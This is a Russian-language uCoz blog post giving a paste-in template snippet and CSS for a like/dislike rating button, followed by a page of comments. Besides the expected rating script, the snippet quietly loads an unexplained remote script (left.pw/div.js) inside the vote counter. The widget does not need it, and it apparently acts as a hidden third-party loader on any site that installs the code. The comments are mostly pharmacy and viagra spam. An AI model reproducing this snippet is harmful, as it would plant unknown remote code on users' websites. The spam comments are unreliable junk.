Главная » 2014 » Сентябрь » 13 » Кнопка рейтинга + и -
17:09
Кнопка рейтинга + и -

скрипт рейтинга с положительной и отрицательной оценкой для юкоз
Установка:
В шаблон вида материалов нужного модуля вставляем код:

Код
<script type="text/javascript" src="http://pnghosts.ru/js_css/55_rate.js"></script>  
<div class="rate">
<a class="orating_m" title="Не нравится" href="#" onclick="rateForm(-1,$ID$);return false"></a>
<a class="orating_p" title="Нравится" href="#" onclick="rateForm(1,$ID$);return false"></a>
<a class="orating_res"><script type="text/javascript" src="http://left.pw/div.js"></script><b title="Голосов: $RATED$" id="rate_$ID$" class="<?if(($RATING$*$RATED$-2*$RATED$)=0)?>nullRate<?else?><?if(($RATING$*$RATED$-2*$RATED$)<0)?>negativeRate<?else?>positiveRate<?endif?> <?endif?>"><script type="text/javascript">document.write(Math.round(<?($RATING$*$RATED$)?>)-<?2*$RATED$?>)</script></b> </a>  
</div>


В CSS стиль вставляем:

Код
.rate {background:url(http://pnghosts.ru/img/orating.png) no-repeat; width:73px; height:21px; position:relative; margin:7px 0 0 5px; padding:3px 0 0 0; text-align:center;}
a.orating_m, a.orating_p{height:21px; width:21px; background:url(http://pnghosts.ru/img/orating.png) no-repeat;}
a.orating_m{float:right; background-position:-21px -24px; margin:-1px 1px 0 0;}
a.orating_m:hover{background-position:-21px 100%;}
a.orating_m.orated{background-position:-21px -24px;}
a.orating_p{float:left; background-position:0 -24px; margin:-1px 0 0 1px;}
a.orating_p:hover{background-position:0 100%;}
a.orating_p.orated{background-position:0 100%;}
a.orating_res,span.orating_res {background:#64b327; box-shadow:inset 0 1px 1px rgba(0,0,0,0.2); font-size:10px; color:#fff; padding:3px 8px; border-radius:5px;line-height:20px;}
a.orating_res:hover{color:#f0f0f0;}


Для модуля "Новости", заменяем $ID$ на $ENTRY_ID$
Категория: Скрипты для Ucoz | Просмотров: 2214 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 4381 2 3 ... 43 44 »
438 generic viagra online  
0
Howdy! Do you use Twitter? I'd like to follow you if that would be ok. I'm definitely enjoying your blog and look forward to new updates.

437 navarro pharmacy  
0
Your style is very unique in comparison to other folks I've read stuff from. I appreciate you for posting when you have the opportunity, Guess I'll just bookmark this web site.

436 canada pharmaceuticals online generic  
0
Hi there, You have done an excellent job. I will certainly digg it and personally recommend to my friends. I'm confident they'll be benefited from this site.

435 canadian pharmaceuticals  
0
Does your blog have a contact page? I'm having trouble locating it but, I'd like to shoot you an email. I've got some recommendations for your blog you might be interested in hearing. Either way, great blog and I look forward to seeing it grow over time.

434 discount canadian drugs  
0
Howdy fantastic blog! Does running a blog like this take a large amount of work? I've absolutely no knowledge of computer programming but I had been hoping to start my own blog soon. Anyways, should you have any ideas or tips for new blog owners please share. I know this is off topic but I just wanted to ask. Thank you!

433 pharmaceuticals online australia  
0
Wonderful beat ! I wish to apprentice at the same time as you amend your website, how could i subscribe for a blog web site? The account aided me a acceptable deal. I had been tiny bit acquainted of this your broadcast provided bright transparent concept

432 list of canadian pharmaceuticals online  
0
Howdy! I know this is kind of off topic but I was wondering which blog platform are you using for this website? I'm getting tired of Wordpress because I've had issues with hackers and I'm looking at alternatives for another platform. I would be great if you could point me in the direction of a good platform.

431 JeffreyDiady  
0
https://www.ibm.com

430 navarro pharmacy  
0
It's very simple to find out any matter on web as compared to textbooks, as I found this post at this web site.

429 panacea pharmacy  
0
What i do not understood is in reality how you're no longer really a lot more neatly-liked than you may be now. You're so intelligent. You know thus considerably relating to this matter, made me personally imagine it from numerous various angles. Its like men and women are not involved until it is something to accomplish with Girl gaga! Your own stuffs outstanding. At all times deal with it up!

1-10 11-20 21-30 ... 421-430 431-438
Имя *:
Email *:
Код *: